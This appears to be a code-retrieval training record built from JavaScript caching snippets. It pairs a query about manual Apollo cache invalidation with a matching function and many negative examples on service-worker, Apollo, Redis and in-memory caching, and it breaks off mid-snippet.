"0.55059326", "0.54988", "0.5495651", "0.54955655", "0.549373", "0.5491403", "0.54909265", "0.5488489", "0.5487592", "0.54848415", "0.5483769", "0.5477692", "0.5475718", "0.54736793", "0.54636824", "0.5460442", "0.54570085", "0.5452086", "0.5452086", "0.545039", "0.5449583", "0.54440385", "0.5442822", "0.5442705", "0.5439922" ]
0.710124
2
NOTE: there's no method for partial cache invalidation in apollo so we have to do it manually here. Ref:
componentWillUnmount() { const apollo = this.props.client; const cache = apollo.store.cache.data; if (!cache || !cache.data) { return; } Object.keys(cache.data).forEach(key => { if (key.match(this.CACHED_COMMENT_KEYS)) { cache.delete(key); } }); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "onMutation(mutation) {\n const venueId = mutation.annotations.venueId\n\n // Check if we should just reset the entire cache\n if (this.doesRequireFullCacheReset(venueId, mutation.previous, mutation.result)) {\n // console.log('Reset entire access cache')\n this.cache.reset()\n return\n }\n\n // If we did not have to throw out the entire cache: See if we can determine\n // individual users.\n const changedFor = this.accessFilterChangesForUserIds(\n venueId,\n mutation.previous,\n mutation.result\n )\n\n if (changedFor.length > 0) {\n // At this point we have an array of user IDs, but in order to invalidate them\n // we'll have to retrieve the identity-ids of those users. In 99.972% of all cases\n // it is cheaper to reset the cache, rather than hit the db to perform the conversion.\n // console.log('Reset entire access cache, because state changed for users', changedFor)\n this.cache.reset()\n }\n\n // changedFor.forEach(userId => {\n // console.log('Reset access cache for', userId)\n // this.cache.del(getCacheKey(venueId, identityId))\n // })\n }", "async updateCache() {\n this._cache = await this.model.query();\n }", "function staleRevalidate(evt, cache = dynamicCache) {\n evt.respondWith(\n // Look in cache first\n caches.match(evt.request).then(res => {\n // Start fetch promise for an update or a fallback if not found in cache\n const fetchHandler = fetch(evt.request)\n .then(res => {\n if (res.type === 'basic' && res.status === 200)\n cacheAdd(evt.request, res.clone(), cache);\n return res;\n })\n .catch(() => fallback(evt));\n return res || fetchHandler;\n })\n );\n}", "updateCacheOnDelete(cache, resp) {\n let proposalId = this.props.proposal.id\n let deletedPartId = this.props.part.id // The record we need removed from the cache\n\n // Load the relevant data from the cache (we can ignore fields that won't change)\n let cachedData = cache.readQuery({\n query: proposalQuery,\n variables: {id: proposalId}\n })\n\n // Update the cached response so it's correct\n cachedData.proposal.parts =\n cachedData.proposal.parts.filter((part) => { return part.id != deletedPartId })\n\n // Write that transformed data to the cache (will leave alone any unreferenced fields)\n cache.writeQuery({query: proposalQuery, variables: {id: proposalId}, data: cachedData})\n }", "function cache() {\n document.documentElement.dataset.cached = true;\n var data = document.documentElement.outerHTML;\n fetch('./render-store/', { method: 'PUT', body: data }).then(function() {\n console.log('Page cached');\n });\n}", "function update (req, fallback) {\n if (req.cache === 'only-if-cached' && req.mode !== 'same-origin') {\n return fallback\n }\n\n return self.fetch(req).then(function (response) {\n if (!response.ok) {\n if (fallback) return fallback\n else return response\n }\n cache.put(req, response.clone())\n return response\n }, function (err) {\n if (fallback) return fallback\n throw err\n })\n }", "updateCache() {\r\n const that = this;\r\n return new Promise((resolve, reject) => {\r\n let loopCount = 0;\r\n\r\n async function updateBounds(counter) {\r\n try {\r\n if (counter !== undefined) {\r\n loopCount = counter;\r\n }\r\n\r\n if (loopCount > 5) {\r\n throw new Error(\"COULD NOT UPDATE CACHE\");\r\n }\r\n\r\n if (that.bounds === null) {\r\n updateBounds(loopCount + 1);\r\n await that.pause(200);\r\n } else {\r\n that.container.updateCache();\r\n that.activity.refreshCanvas();\r\n resolve();\r\n }\r\n } catch (e) {\r\n reject(e);\r\n }\r\n }\r\n updateBounds();\r\n });\r\n }", "function updateCache() {\n if (currentCache > caches.length) {\n currentCache = 0;\n }\n currentCache++;\n showCache();\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function onlineFirst(event) {\n return event.respondWith(\n fetch(event.request).then((response) => {\n return caches.open(CACHE_NAME).then((cache) => {\n cache.put(event.request, response.clone());\n return response;\n });\n }).catch((error) => {\n return caches.open(CACHE_NAME).then((cache) => {\n return cache.match(event.request).then((response) => {\n if (response != null) {\n return response;\n }\n throw error;\n });\n });\n })\n );\n}", "function cacheElseNetwork (event) {\n return caches.match(event.request).then(response => {\n function fetchAndCache () {\n return fetch(event.request).then(response => {\n // Update cache.\n caches.open(VERSION).then(cache => cache.put(event.request, response.clone()));\n return response;\n });\n }\n\n // If not exist in cache, fetch.\n if (!response) { return fetchAndCache(); }\n\n // If exists in cache, return from cache while updating cache in background.\n fetchAndCache();\n return response;\n });\n}", "async loadCache() {\n const { latest, refreshCache, isOutdated, lastUpdate } = this\n\n if (!lastUpdate || isOutdated()) {\n await refreshCache()\n }\n\n return latest\n }", "async function networkFirst(req){\n const cache = await caches.open(staticCacheName)\n try{\n //storing new data from internet to local cache\n const fresh = await fetch(req)\n cache.put(req,fresh.clone())\n //clone = store\n return fresh\n }catch(e){\n const cached = await cache.match(req)\n return cached\n }\n}", "_cacheSet(attributes) {\n if (this.parent) {return}\n let setIfFits = (key, value) => {\n let size = (u.getSize(value))\n let indexRecord\n let oldSize = 0\n if (this.cacheIndex[key] && this.cacheIndex[key].size) {\n oldSize = this.cacheIndex[key].size\n }\n let difference = size - oldSize\n if (this.cacheSize + difference < this.maximumCacheSize) {\n this.cache[key] = value\n this.cacheIndex[key] = {\n timestamp: Date.now(),\n accessed: 0,\n size: size\n }\n this.cacheSize += difference\n return true\n } else {\n return false\n }\n }\n\n // Deletes oldest key until sufficient space cleared\n let clearSpace = (space) => {\n while (this.cacheSize + space > this.maximumCacheSize) {\n let oldestTimestamp = Date.now()\n let oldestKey\n Object.keys(this.cache).forEach((key) => {\n if (this.cache[key].timestamp < oldestTimestamp) {\n oldestTimestamp = this._cacheIndex[key].timestamp\n oldestKey = key\n }\n })\n if (Date.now() - oldestTimestamp > 15 * 1000) {\n return false\n }\n this.cacheSize -= this.cacheIndex[key].size\n delete this.cache[key]\n delete this.cacheIndex[key]\n }\n return true\n }\n\n // If path already exists and size not a problem, replace, make space and try again\n Object.keys(attributes).forEach((path) => {\n if (path !== u.LARGE_SERIALIZED_PAYLOAD){\n let setSuccessfully = setIfFits(path, attributes[path])\n if (!setSuccessfully) {\n clearSpace(u.getSize(attributes.path))\n setIfFits(path, attributes[path])\n }\n }\n })\n }", "async function fillAndSet() {\n const resp = await fetchFn();\n if (resp.status > 200) {\n /*\n * When the fetchFn returns an error, no caching.\n */\n return resp\n }\n const body = await resp.text()\n const entry = {\n body: body,\n contentType: resp.headers.get('content-type'),\n time: Date.now()\n }\n fly.cache.set(key, JSON.stringify(entry), 86400)\n return resp\n }", "function updateUserCache() {\n console.log('attempting to update appache');\n window.applicationCache.update(); \n}", "RevokeCache() {\n\n }", "static async testCacheRetrieve(id) {\n const testReview = {\"restaurant_id\": \"2\", \"name\": \"McToad\", \"rating\": \"2\", \"comments\": \"this place sucks\"}\n const key = 'http://localhost:1337/reviews/?restaurant_id=' + id;\n //const cache = await caches.open('restaurantReviewCache');\n //const cachedResponse = await cache.match(key);\n caches.open('restaurantReviewCache')\n .then(cache => {\n return cache.match(key)\n })\n .then(response => {\n return response.json();\n })\n .then(data => {\n data.push(testReview);\n let testResponse = new Response(JSON.stringify(data));\n caches.open('restaurantReviewCache').then(cache => {cache.put(key, testResponse)});\n });\n //fetch(key).then(result => {console.log(result)});\n //console.log(cachedResponse.body);\n //console.log('wacka wacka');\n }", "function update(request) {\n return caches.open(LATEST_CACHE_ID).then(function (cache) {\n return fetch(request).then(function (response) {\n return cache.put(request, response);\n }).catch(function(err) {\n // console.debug('update fetch error. ')\n // console.debug(err)\n });\n });\n}", "async function cacheFirstOrCache(req) {\n\tconst cache = await caches.open(cacheName);\n\tconst cachedResponse = await cache.match(req);\n\n\tif(cachedResponse === undefined){\n\t\ttry{\n\t\t\t// console.log(\"Caching\", req);\n\t\t\tconst toCache = await fetch(req);\n\t\t\tcache.put(req, toCache.clone());\n\t\t\treturn toCache;\n\t\t} catch (e) {\n\t\t\tconsole.log(e);\n\t\t}\n\t} else return cachedResponse;\n}", "hasChanged() {\n return this.cacheHasChanged;\n }", "_notifyUpdate(object) {\n\n if ( this.cache ) {\n\n // Iterate over every dimension - if caching is enabled then run through dimension key and add to the cache\n _.forEach(this.dimensions, (dimension) => {\n\n if ( dimension._framefetch_config.cache ) {\n\n let dimensionKey = dimension._framefetch_config.dimensionKey(object)\n\n dimension.clear(dimensionKey).prime(dimensionKey, object)\n\n }\n\n })\n\n }\n\n }", "function cacheToMemory(){\n // need to implement\n}", "function actualizaCacheStatico( staticCache, req, APP_SHELL_INMUTABLE ) {\n\n\n if ( APP_SHELL_INMUTABLE.includes(req.url) ) {\n // No hace falta actualizar el inmutable\n // console.log('existe en inmutable', req.url );\n\n } else {\n // console.log('actualizando', req.url );\n return fetch( req )\n .then( res => {\n return actualizaCacheDinamico( staticCache, req, res );\n });\n }\n\n\n}", "function update(request) {\n return caches.open(CACHE).then(function (cache) {\n return fetch(request).then(function (response) {\n return cache.put(request, response.clone()).then(function () {\n return response;\n });\n });\n });\n}", "function cache() {\n // TODO: Cache to Redis if on server\n if (!client) {\n return;\n }clearTimeout(pending);\n var count = resources.length;\n pending = setTimeout(function () {\n if (count == resources.length) {\n log(\"cached\");\n var cachable = values(resources).filter(not(header(\"cache-control\", \"no-store\")));\n localStorage.ripple = freeze(objectify(cachable));\n }\n }, 2000);\n }", "getCached(key) {\n const k = (typeof key === 'object') ? this.endpoint(key) : key\n return this.isCached(k) ? this.cache.get(k) : false\n }", "updateCache() {\n this.imageCache.src = this.config.src;\n }", "function update(request) {\n return caches.open(CACHE).then(function (cache) {\n return fetch(request).then(function (response) {\n return cache.put(request, response);\n });\n });\n}", "updateCache() {\n const cacheP = new Promise((resolve, reject) =>\n storage.get(this.CACHE_NAME, (error, data) => (error ? reject(error) : resolve(data)))\n )\n\n return cacheP\n .catch(() => Promise.resolve())\n .then((store) => storage.set(this.CACHE_NAME, Object.assign(store || {}, this.packages), () => {}));\n }", "function cacheNetwork(event) {\n const url = new URL(event.request.url);\n //console.log('cacheNetwork:', url);\n event.respondWith(\n caches.open(CACHE).then(function (cache) {\n return cache.match(event.request).then(function (response) {\n var fetchPromise = fetch(event.request).then(function (networkResponse) {\n cache.put(event.request, networkResponse.clone());\n return networkResponse;\n })\n return response || fetchPromise;\n })\n })\n );\n}", "_get(callback, data, id) {\n let err = null; //placeholder for real calls\n //call API - for this example fake an async call with setTimeout\n setTimeout( () => {\n //set the response in the cache - cache exists across\n //multiple calls and this solves a problem with having\n //to make a state existence check in componentWillMount\n let dataToCache = data;\n if (err) {\n dataToCache = err;\n }\n cache.add(id, dataToCache);\n return callback(err, {result: dataToCache, id: id});\n }, 200);\n }", "async warmCache(updatedUrl) {\n\n try {\n return axios.get(updatedUrl)\n .then(response => {\n if (response.status === 200) {\n return true;\n }\n })\n } catch (error) {\n this.logger.save(`${'(prod)'.padEnd(15)}stdErr: ${error}`);\n throw error;\n }\n }", "function actualizaCacheStatico(staticCache, req, APP_SHELL_INMUTABLE) {\n\n\n if (APP_SHELL_INMUTABLE.includes(req.url)) {\n // No hace falta actualizar el inmutable\n // console.log('existe en inmutable', req.url );\n\n } else {\n // console.log('actualizando', req.url );\n return fetch(req)\n .then(res => {\n return actualizaCacheDinamico(staticCache, req, res);\n });\n }\n\n\n\n}", "function getFromCache(request){\n if(cacheObj.hasOwnProperty([request])){\n cacheObj[request][1] = new Date(); //update date\n cacheObj[request][2] += 1; //update times used\n return cacheObj[request][0]; //obj result\n }else\n return null;\n}", "function networkCache(event) {\n const url = new URL(event.request.url);\n //console.log('networkCache:', url);\n event.respondWith(\n caches.open(CACHE).then(function (cache) {\n return cache.match(event.request).then(function (response) {\n var fetchPromise = fetch(event.request).then(function (networkResponse) {\n cache.put(event.request, networkResponse.clone());\n return networkResponse;\n }).catch(function () {\n return response;\n })\n return fetchPromise || response;\n })\n })\n );\n}", "evict_() {\n if (this.size_ <= this.capacity_) {\n return;\n }\n\n const cache = this.cache_;\n let oldest = this.access_ + 1;\n let oldestKey;\n for (const key in cache) {\n const {access} = cache[key];\n if (access < oldest) {\n oldest = access;\n oldestKey = key;\n }\n }\n\n if (oldestKey !== undefined) {\n delete cache[oldestKey];\n this.size_--;\n }\n }", "function actualizaCacheStatico(staticCache, req, APP_SHELL_INMUTABLE) {\n if (APP_SHELL_INMUTABLE.includes(req.url)) {\n // No hace falta actualizar el inmutable\n // console.log('existe en inmutable', req.url );\n } else {\n // console.log('actualizando', req.url );\n return fetch(req).then((res) => {\n return actualizaCacheDinamico(staticCache, req, res);\n });\n }\n}", "function actualizaCacheStatico(staticCache, req, APP_SHELL_INMUTABLE) {\n if (APP_SHELL_INMUTABLE.includes(req.url)) {\n // No hace falta actualizar el inmutable\n // console.log('existe en inmutable', req.url );\n } else {\n // console.log('actualizando', req.url );\n return fetch(req)\n .then(res => {\n return actualizaCacheDinamico(staticCache, req, res);\n });\n }\n}", "handleChangeEvent() {\n this.cacheHasChanged = true;\n }", "async function tryCache(key, fillFn) {\n let cacheStatus = \"MISS\"\n\n /*\n * We may want to apply cache filling logic in multiple places, wrapping it in a\n * new async function is a convenient way to do that.\n */\n async function fillAndSet() {\n const body = await fillFn();\n if (!body) {\n /*\n * When the fillFn returns nothing, no caching.\n */\n return\n }\n const entry = {\n body: body,\n time: Date.now()\n }\n fly.cache.set(key, JSON.stringify(entry), 3600)\n return entry\n }\n\n let cached = await fly.cache.getString(key)\n\n if (!cached) {\n console.log(\"cache miss:\", key)\n cached = await fillAndSet()\n cacheStatus = \"MISS\"\n } else {\n console.log(\"cache hit:\", key)\n cacheStatus = \"HIT\"\n\n cached = JSON.parse(cached)\n /*\n * If the cached entry is more than 30 seconds old, refresh it in the background.\n *\n * Since `fillAndSet` is an async function, it returns a promise immediately\n * and doesn't affect response time.\n */\n if (cached.time < (Date.now() - 30000)) {\n fillAndSet().then(function(result) {\n console.log(\"cache refreshed:\", key)\n }).catch(function(err) {\n console.log(\"error in refresh\")\n console.error(\"cache refresh failed:\", err)\n })\n cacheStatus = \"HIT+REFRESH\"\n }\n }\n\n if (!cached) {\n return new Response(message(), {\n headers: {\n 'content-type': 'text/html',\n 'x-cache': cacheStatus\n }\n })\n }\n /*\n * The response includes an X-cache headers, which is a pseudo standard way of indicating\n * whether the data comes from the cache, or was generated anew.\n */\n return new Response(cached.body, {\n headers: {\n 'content-type': 'text/html',\n 'x-cache': cacheStatus\n }\n })\n\n}", "async function networkAndCache(req) {\n const cache = await caches.open(cacheName);\n try {\n const fresh = await fetch(req);\n await cache.put(req, fresh.clone);\n return fresh;\n } catch(e) {\n const cached = await cache.match(req);\n return cached;\n }\n}", "_setCacheExpiry() {\n const oThis = this;\n oThis.cacheExpiry = 1 * 24 * 60 * 60; // 1 days;\n }", "async function cacheFirst(req) {\n const cache = await caches.open(cacheName);\n const cached = await cache.match(req);\n return cached || fetch(req);\n}", "function swFetch(event) {\n event.respondWith(caches.match(event.request).then(\n function cachesMatch(cachedResponse) {\n if (cachedResponse) {\n const newHeaders = new Headers(cachedResponse.headers);\n newHeaders.set('cache-control', 'no-cache');\n\n return new Response(cachedResponse.body, {\n status: cachedResponse.status,\n statusText: cachedResponse.statusText,\n headers: newHeaders,\n });\n }\n\n console.log('[Service Worker] Fallback (Fetch)', event.request.url);\n return fetch(event.request.clone());\n }\n ));\n}", "emptyCache() {\n this.cache = {};\n }", "emptyCache() {\n this.cache = {};\n }", "function cache(req, res, next) {\n const { id } = req.params;\n client.get(\"*\", (err, data) => {\n if (err) throw err;\n\n if (data !== null) {\n console.log(data);\n res.send(setResponse(data, data));\n } else {\n next();\n }\n });\n}", "get _cache() {\n return cache;\n }", "async function cacheFirst(request) {\n const cache = await caches.open(CACHE_NAME);\n cachedResponse = await cache.match(request);\n if (!!cachedResponse) {\n console.log(\n `[ServiceWorker]: Found the response for ${request.url} in the cache.`\n );\n return cachedResponse;\n }\n\n console.log(\n `[ServiceWorker]: Fetching the response for ${request.url} from the network.`\n );\n return fetch(request);\n}", "function CacheEl() {\n \n }", "function invalidateCacheAndReturnResponse(response, id) {\n console.log(`invalidating cache for divesite ${id}`);\n siteDetailCache.remove(id);\n return response;\n }", "function regenerateNewCache(){\n //special ordering for new so it is always the same, selecting\n //offset regions breaks otherwise\n database.sequelize.query(\"SELECT imdb_id, title, type FROM movies WHERE type = 'movie' ORDER BY NULLIF(regexp_replace(year, E'\\\\D', '', 'g'), '')::int DESC, \\\"createdAt\\\" DESC LIMIT 16 OFFSET \" + pageNumber * 16,\n {model: database.Movie}\n ).then(function(movies){\n cache.set(\"new_0\", JSON.stringify(movies), global.FontPageTTL, function(err, success){\n if(err){\n 